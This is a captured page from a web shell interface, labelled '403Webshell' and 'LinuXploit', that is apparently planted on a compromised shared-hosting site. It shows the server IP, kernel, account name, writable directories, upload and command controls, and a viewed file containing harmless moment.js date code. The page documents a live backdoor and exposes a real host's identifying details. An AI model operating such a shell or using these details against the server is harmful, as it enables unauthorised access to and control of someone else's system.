403Webshell
Server IP : 66.29.146.62  /  Your IP : 216.73.216.2
Web Server : LiteSpeed
System : Linux premium231.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : dokkdzvi ( 925)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/dokkdzvi/itsluxury-sa.store/controlPanel/assets/plugins/moment/src/lib/moment/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/dokkdzvi/itsluxury-sa.store/controlPanel/assets/plugins/moment/src/lib/moment/to.js
import { createDuration } from '../duration/create';
import { createLocal } from '../create/local';

export function to (time, withoutSuffix) {
    if (!this.isValid()) {
        return this.localeData().invalidDate();
    }
    return createDuration({from: this, to: time}).locale(this.locale()).humanize(!withoutSuffix);
}

export function toNow (withoutSuffix) {
    return this.to(createLocal(), withoutSuffix);
}

Youez - 2016 - github.com/yon3zu
LinuXploit